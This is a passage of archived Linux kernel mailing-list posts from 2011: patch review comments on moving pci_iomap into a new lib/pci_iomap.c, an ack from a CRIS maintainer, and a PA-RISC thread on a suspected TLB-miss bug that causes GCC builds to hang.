You could move this struct declaration above the ifdef and remove the
duplicate below.

> +extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned lo=
ng max);
> +#else
> +struct pci_dev;
> +static inline void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsi=
gned long max)
> +{
> +	return NULL;
> +}
> +#endif
> +
> +#endif /* __ASM_GENERIC_IO_H */
> diff --git a/lib/iomap.c b/lib/iomap.c
> index 5dbcb4b..ada922a 100644
> --- a/lib/iomap.c
> +++ b/lib/iomap.c
> @@ -242,45 +242,11 @@ EXPORT_SYMBOL(ioport_unmap);
>  #endif /* CONFIG_HAS_IOPORT */
> =20
>  #ifdef CONFIG_PCI
> -/**
> - * pci_iomap - create a virtual mapping cookie for a PCI BAR
> - * @dev: PCI device that owns the BAR
> - * @bar: BAR number
> - * @maxlen: length of the memory to map
> - *
> - * Using this function you will get a __iomem address to your device BAR.
> - * You can access it using ioread*() and iowrite*(). These functions hide
> - * the details if this is a MMIO or PIO address space and will just do w=
hat
> - * you expect from them in the correct way.
> - *
> - * @maxlen specifies the maximum length to map. If you want to get acces=
s to
> - * the complete BAR without checking for its length first, pass %0 here.
> - * */
> -void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxl=
en)
> -{
> -	resource_size_t start =3D pci_resource_start(dev, bar);
> -	resource_size_t len =3D pci_resource_len(dev, bar);
> -	unsigned long flags =3D pci_resource_flags(dev, bar);
> -
> -	if (!len || !start)
> -		return NULL;
> -	if (maxlen && len > maxlen)
> -		len =3D maxlen;
> -	if (flags & IORESOURCE_IO)
> -		return ioport_map(start, len);
> -	if (flags & IORESOURCE_MEM) {
> -		if (flags & IORESOURCE_CACHEABLE)
> -			return ioremap(start, len);
> -		return ioremap_nocache(start, len);
> -	}
> -	/* What? */
> -	return NULL;
> -}
> -
> +/* Hide the details if this is a MMIO or PIO address space and just do w=
hat
> + * you expect in the correct way. */
>  void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
>  {
>  	IO_COND(addr, /* nothing */, iounmap(addr));
>  }
> -EXPORT_SYMBOL(pci_iomap);
>  EXPORT_SYMBOL(pci_iounmap);

Ditto with pci_iounmap

> diff --git a/lib/pci_iomap.c b/lib/pci_iomap.c
> new file mode 100644
> index 0000000..40b26cb
> --- /dev/null
> +++ b/lib/pci_iomap.c
> @@ -0,0 +1,48 @@
> +/*
> + * Implement the default iomap interfaces
> + *
> + * (C) Copyright 2004 Linus Torvalds
> + */
> +#include <linux/pci.h>
> +#include <linux/io.h>
> +
> +#include <linux/module.h>

If this is relative to (at least) v3.2-rc1, then you should use export.h
instead of module.h

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Fri__25_Nov_2011_11_54_55_+1100_Ear09Vzvz+xx6qEm
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAEBCAAGBQJOzudfAAoJEECxmPOUX5FE1/UP/0l4JcZxOiuNYsRtnb07C7hk
Ue3iusoFy8ai5W839MsxANElduJ7bF/IEHXmpFbpTovxkxiHivHJ1JFxs7lyAeWL
U7clx8Es4oRnSiWr6EbHSUXroLNw1zdHusF/XuM+xQvMXwZfUduE8KE866+XSV0h
1kBawlJm/+4xUY/jpPdxKy4Ci4lCJ7oniqE22hWq4AGHMneU7/WbSBRL3r3oQcBp
2f6IHg0BWjVUavic5bBD9EFDFLxnGZpZZhBh0ndbhqAmchrKAHeKqaLNp/uaYjtt
5YZifhE6xLLZfoHYbZgcbT0ogWPKwKJsg433k3MdlTbpfMzeLXk4R3MbPo1ZsnR4
Kx6lo+jTIMbugmWrU9z/BgA2NCLemrC/GKplPhhh+/G0jFfxfkYURO6PGP/hHkIx
OksYjLKTf3PGs2hAn4Oyw2DsX1qHecCH2Ge7mTWf4q8ysb5reYZuwRhs6ykh4wEZ
NMQonnmZ/OXuzXeRz5I+SwD4zn/k7zBz45y8zE6kKFee9JtentG/CA2YWPoj2fnw
iDxc2gImfyd6r00YkldbmNMFeTsF0Ou2CaV+oNd2/ocDvnIhbz64mWWNPKQnoKEv
wpja4BYLqwHXcv2yDQtlWsXIFeCtpEHHHd8Wi/OBLqZ8+TcTpB3eLHEtW5wWwihC
Hhqalk75Y0o2tyHL4X1M
=dkd1
-----END PGP SIGNATURE-----

--Signature=_Fri__25_Nov_2011_11_54_55_+1100_Ear09Vzvz+xx6qEm--

--===============6132578827858740304==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
Linuxppc-dev mailing list
Linuxppc-dev@lists.ozlabs.org
https://lists.ozlabs.org/listinfo/linuxppc-dev
--===============6132578827858740304==--


From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH-RFC 02/10] lib: add GENERIC_PCI_IOMAP
Date: Fri, 25 Nov 2011 11:59:21 +1100
Lines: 59
Approved: news@gmane.org
Message-ID: <20111125115921.a3e642f06b24526dce6a96e8@canb.auug.org.au>
References: <cover.1322163031.git.mst@redhat.com>
 <b5a1327dd8bb38f87cba7ae10b308ec3b63de66a.1322163031.git.mst@redhat.com>
 <20111125115455.9d5e18da6e683586d84ed9c8@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============8991018945488313963=="
X-Trace: dough.gmane.org 1322182807 14064 80.91.229.12 (25 Nov 2011 01:00:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 Nov 2011 01:00:07 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-m68k@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-pci@vger.kernel.org, linux@openrisc.net,
 Jesse Barnes <jbarnes@virtuousgeek.org>, Chen Liqin <liqin.chen@sunplusct.com>,
 Paul Mackerras <paulus@samba.org>, Ralf Baechle <ralf@linux-mips.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, Lennox Wu <lennox.wu@gmail.com>,
 Jonas Bonn <jonas@southpole.se>, Jesper Nilsson <jesper.nilsson@axis.com>,
 Russell King <linux@arm.linux.org.uk>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Arend van Spriel <arend@broadcom.com>, Matt Turner <mattst88@gmail.com>,
 linux-arch@vger.k
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Nov 25 01:59:49 2011
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1RTk8q-0003hb-87
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 25 Nov 2011 01:59:48 +0100
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 54AB51008B9
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 25 Nov 2011 11:59:44 +1100 (EST)
Original-Received: from calzone.tip.net.au (calzone.tip.net.au
 [IPv6:2402:b800:7003:1::15])
 by ozlabs.org (Postfix) with ESMTP id 1D2FF1007DD
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 25 Nov 2011 11:59:30 +1100 (EST)
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by calzone.tip.net.au (Postfix) with ESMTPSA id 611E012848C;
 Fri, 25 Nov 2011 11:59:26 +1100 (EST)
In-Reply-To: <20111125115455.9d5e18da6e683586d84ed9c8@canb.auug.org.au>
X-Mailer: Sylpheed 3.2.0beta3 (GTK+ 2.24.8; i486-pc-linux-gnu)
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:46996 gmane.linux.ports.mips.general:33092 gmane.linux.ports.m68k:3034 gmane.linux.ports.ia64:21897 gmane.linux.ports.sh.devel:12870 gmane.linux.kernel.pci:12705 gmane.linux.ports.sparc:15515 gmane.linux.ports.hexagon:342 gmane.linux.kernel.cross-arch:11558 gmane.linux.uclinux.microblaze:11674 gmane.linux.ports.arm.kernel:141544 gmane.linux.ports.parisc:4040 gmane.linux.kernel:1220354 gmane.linux.ports.alpha:1594
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/46996>

--===============8991018945488313963==
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA256";
 boundary="Signature=_Fri__25_Nov_2011_11_59_21_+1100_q4XOooN5uoDKv_dZ"

--Signature=_Fri__25_Nov_2011_11_59_21_+1100_q4XOooN5uoDKv_dZ
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Michael,

On Fri, 25 Nov 2011 11:54:55 +1100 Stephen Rothwell <sfr@canb.auug.org.au> =
wrote:
>
> Just wondering why you move pci_iomap but not pic_iounmap.

I figured this out.  Arches have their own.

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Fri__25_Nov_2011_11_59_21_+1100_q4XOooN5uoDKv_dZ
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAEBCAAGBQJOzuhpAAoJEECxmPOUX5FESFYP/3CbBas7b+W+5nG4fSYO/XAY
YsVPpQ7wIGYtWbIpHt5fproH7C6zyXeXuhqhJWwYk7A2vM4WCIxHJKnPIP3E9AoK
EVaead1df7krZ29KJTLw0hEzhB2sftq8kotUfY7hhI0tIZ3vwPOCuTxbgaRIPAE8
rm+q0xrJVHZSZ0eM14kDP2GuHPch3WgHvNWrQUeIX94g3v3bfYOZsg4PjUnamVVg
ai5ulT6kqXdn5F1Q2G3Ftu8Cs/8CMw7wMSzYUvIr/F84t/4LZrbU6LHXAiGyEkXa
4UR8xTXMpUWpyXU7JjVqgPgS1/85DYemZrW6WBkaiHozciV6lDpgIvJ+JBhlzAY/
QUnzFjlKO6YeN0YzXF2VHaWJmtG/wnqouNHMbDvmt8RX6C4SpwiWP0w2tZhcSKmG
uYq9YyQBq6CqvzDg66xoZWigPShS6CXHZWmd2YH4tx90CwNIVZdMkisFgPTbwVsp
klTxE8gYst6ni0PoMI3xYqvVY034SaedFHRVx768gOuhNp1WaFGeWRveuRBYJiMw
noFu4kywDxJJ/s4sCQiCwzvX3JYpRMWbgtEckEW0msSquMDrPTjlBZFGwkf4/OGC
g83fXQr/YwgIJKMFyUqKabIAPX3uNfNUjzDcINzRK9mux4zrlWBzndLelIsti3FO
6V/pN4Jg3NPFIEylidUW
=sifz
-----END PGP SIGNATURE-----

--Signature=_Fri__25_Nov_2011_11_59_21_+1100_q4XOooN5uoDKv_dZ--

--===============8991018945488313963==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
Linuxppc-dev mailing list
Linuxppc-dev@lists.ozlabs.org
https://lists.ozlabs.org/listinfo/linuxppc-dev
--===============8991018945488313963==--


From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: Re: [PATCH-RFC 01/10] lib: move GENERIC_IOMAP to lib/Kconfig
Date: Fri, 25 Nov 2011 09:41:09 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20111125084109.GS13937@axis.com>
References: <cover.1322163031.git.mst@redhat.com> <5aed7b7e1dbc8a50ebd6986245df8054fd05b7cd.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
        protocol="application/pgp-signature"; boundary="f2QGlHpHGjS2mn6Y"
X-Trace: dough.gmane.org 1322210551 3415 80.91.229.12 (25 Nov 2011 08:42:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 25 Nov 2011 08:42:31 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
        Paul Mundt <lethal@linux-sh.org>,
        "Da
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Nov 25 09:42:12 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RTrMG-0002Ma-Q1
	for sgi-linux-mips@gmane.org; Fri, 25 Nov 2011 09:42:08 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:33971 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903652Ab1KYImF (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 25 Nov 2011 09:42:05 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 25 Nov 2011 09:41:48 +0100 (CET)
Original-Received: from ra.se.axis.com ([195.60.68.13]:38209 "EHLO ra.se.axis.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S1903650Ab1KYIll (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 25 Nov 2011 09:41:41 +0100
Original-Received: from localhost (localhost [127.0.0.1])
        by ra.se.axis.com (Postfix) with ESMTP id 4FCF557375;
        Fri, 25 Nov 2011 09:41:34 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at ra.se.axis.com
Original-Received: from ra.se.axis.com ([127.0.0.1])
        by localhost (ra.se.axis.com [127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id 1H9HQNQRM3al; Fri, 25 Nov 2011 09:41:34 +0100 (CET)
Original-Received: from thoth.se.axis.com (thoth.se.axis.com [10.0.2.173])
        by ra.se.axis.com (Postfix) with ESMTP id BB75E57370;
        Fri, 25 Nov 2011 09:41:27 +0100 (CET)
Original-Received: from silver.se.axis.com (silver.se.axis.com [10.88.4.3])
        by thoth.se.axis.com (Postfix) with ESMTP id 99DB334108;
        Fri, 25 Nov 2011 09:41:27 +0100 (CET)
Original-Received: from silver.se.axis.com (localhost [127.0.0.1])
        by silver.se.axis.com (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id pAP8fRKf010458;
        Fri, 25 Nov 2011 09:41:27 +0100
Original-Received: (from jespern@localhost)
        by silver.se.axis.com (8.14.3/8.14.3/Submit) id pAP8f9K6010452;
        Fri, 25 Nov 2011 09:41:09 +0100
Content-Disposition: inline
In-Reply-To: <5aed7b7e1dbc8a50ebd6986245df8054fd05b7cd.1322163031.git.mst@redhat.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-archive-position: 31993
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jesper.nilsson@axis.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33094 gmane.linux.ports.alpha:1595 gmane.linux.kernel:1220405 gmane.linux.ports.arm.kernel:141556 gmane.linux.ports.hexagon:343 gmane.linux.ports.ia64:21898 gmane.linux.ports.m68k:3074 gmane.linux.uclinux.microblaze:11675 gmane.linux.ports.parisc:4041 gmane.linux.ports.ppc64.devel:78478 gmane.linux.ports.sh.devel:12872 gmane.linux.ports.sparc:15516 gmane.linux.kernel.cross-arch:11559 gmane.linux.kernel.pci:12707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33094>


--f2QGlHpHGjS2mn6Y
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, Nov 24, 2011 at 09:15:42PM +0100, Michael S. Tsirkin wrote:
> define GENERIC_IOMAP in a central location
> instead of all architectures. This will be helpful
> for the follow-up patch which makes it select
> other configs. Code is also a bit shorter this way.
>=20
> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>

For the CRIS part:

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

/^JN - Jesper Nilsson
--=20
               Jesper Nilsson -- jesper.nilsson@axis.com

--f2QGlHpHGjS2mn6Y
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAk7PVKUACgkQ31LbvUHyf1e75ACePpPqRaa0/hcY5Pc6jHLp11KX
g3oAn37y5BAjmjOjjeqo5aGJkxBrHR5C
=GpXx
-----END PGP SIGNATURE-----

--f2QGlHpHGjS2mn6Y--



From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: TLB Miss Bug?
Date: Fri, 25 Nov 2011 20:47:30 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <BLU0-SMTP4EB77321633599EA38C1897CC0@phx.gbl>
References: <BLU0-SMTP178D0B9C9992607985308C97CE0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1322272076 26033 80.91.229.12 (26 Nov 2011 01:47:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 26 Nov 2011 01:47:56 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 26 02:47:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RU7Ms-00051i-Aq
	for glpp-linux-parisc@lo.gmane.org; Sat, 26 Nov 2011 02:47:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753714Ab1KZBrs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Nov 2011 20:47:48 -0500
Original-Received: from blu0-omc4-s4.blu0.hotmail.com ([65.55.111.143]:14794 "EHLO
	blu0-omc4-s4.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753690Ab1KZBrr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Nov 2011 20:47:47 -0500
Original-Received: from BLU0-SMTP4 ([65.55.111.137]) by blu0-omc4-s4.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 25 Nov 2011 17:47:47 -0800
X-Originating-IP: [69.158.174.57]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.174.57]) by BLU0-SMTP4.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 25 Nov 2011 17:47:46 -0800
In-Reply-To: <BLU0-SMTP178D0B9C9992607985308C97CE0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 26 Nov 2011 01:47:46.0784 (UTC) FILETIME=[659D6E00:01CCABDD]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4042
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4042>

On 24-Nov-11, at 8:16 AM, John David Anglin wrote:

> So, my theory is there is a bug in the TLB miss handling.  Somehow a  
> data miss ejects the instruction entry,
> and we get into a loop inserting I and D TLB entries.  Sometimes the  
> machine gets out of the loop but it takes
> hours.


The TLB conf is:

D-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0
I-TLB conf: sh 3 page 1 cst 1 aid 3 pad1 0

I believe the sh value indicates either pitlb or pdtld may be used  
(i.e., there is just one shared tlb) on rp3440.
Thus, the above scenario seems possible.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: TLB Miss Bug?
Date: Fri, 25 Nov 2011 21:18:47 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <1322277527.7362.12.camel@dabdike.cust.hotspot.t-mobile.com>
References: <BLU0-SMTP178D0B9C9992607985308C97CE0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1322277538 21014 80.91.229.12 (26 Nov 2011 03:18:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 26 Nov 2011 03:18:58 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 26 04:18:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RU8my-0000Kp-Am
	for glpp-linux-parisc@lo.gmane.org; Sat, 26 Nov 2011 04:18:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752167Ab1KZDSv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Nov 2011 22:18:51 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42054 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752124Ab1KZDSu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Nov 2011 22:18:50 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 020B68EE0B0;
	Fri, 25 Nov 2011 19:18:50 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5BIFOyFQuuON; Fri, 25 Nov 2011 19:18:49 -0800 (PST)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 437C48EE0A5;
	Fri, 25 Nov 2011 19:18:49 -0800 (PST)
In-Reply-To: <BLU0-SMTP178D0B9C9992607985308C97CE0@phx.gbl>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4043
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4043>

On Thu, 2011-11-24 at 08:16 -0500, John David Anglin wrote:
> As GCC has gotten larger with time, I started seeing hangs in the  
> stage1 compilers when they are compiled
> with no optimization.  This first was seen with gnat1.  I now see it  
> with cc1 and cc1plus.
> 
> The hangs always occur at the same place (ldw,s instruction) in the  
> GCC casesi insn pattern:
> 
> (gdb) disass $pc-16,$pc+16
> Dump of assembler code from 0x45fbec4 to 0x45fbee4:
> 0x045fbec4 <cpp_spell_token+68>:	ldw 0(ret0),ret0
> 0x045fbec8 <cpp_spell_token+72>:	cmpib,<<,n 3,ret0,0x45fc168  
> <cpp_spell_token+744>
> 0x045fbecc <cpp_spell_token+76>:	ldil L%45fb800,r19
> 0x045fbed0 <cpp_spell_token+80>:	ldo 6dc(r19),r19
> => 0x045fbed4 <cpp_spell_token+84>:	ldw,s ret0(r19),r19
> 0x045fbed8 <cpp_spell_token+88>:	bv,n r0(r19)
> 0x045fbedc <cpp_spell_token+92>:	# 45fbeec
> 0x045fbee0 <cpp_spell_token+96>:	# 45fbfc8
> 
> What is interesting about this instruction is that it usually involves  
> an I and D access to the same page.

> strace shows nothing for process.  gdb can't single step from the  
> instruction.  A break at the next
> instruction is never hit.
> 
> I see the following with sysrq-trigger:
> 
> cc1plus R running task 0 16932 16931 0x00000010
> Backtrace:
> timer_interrupt(CPU 1): delayed! cycles 77ED56D2 rem BD46F next/now  
> 411D1E1AE13C/411D1E0F0CCD
> 
> Note the delayed timer interrupt "always" seems to occur.  Also, see  
> that the program isn't running kernel
> code.
> 
> So, my theory is there is a bug in the TLB miss handling.  Somehow a  
> data miss ejects the instruction entry,
> and we get into a loop inserting I and D TLB entries.  Sometimes the  
> machine gets out of the loop but it takes
> hours.

I'm still a bit Jetlagged from a customer trip to Germany, but this
looks entirely possible: Appendix F says that a later TLB insertion
purges an earlier one, so I'd say in a combined I/D TLB inserting
consecutive I and D entries purges the I.

It looks like a fix might be to insert TLB entries supporting both data
and instruction access in the combined TLB case.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
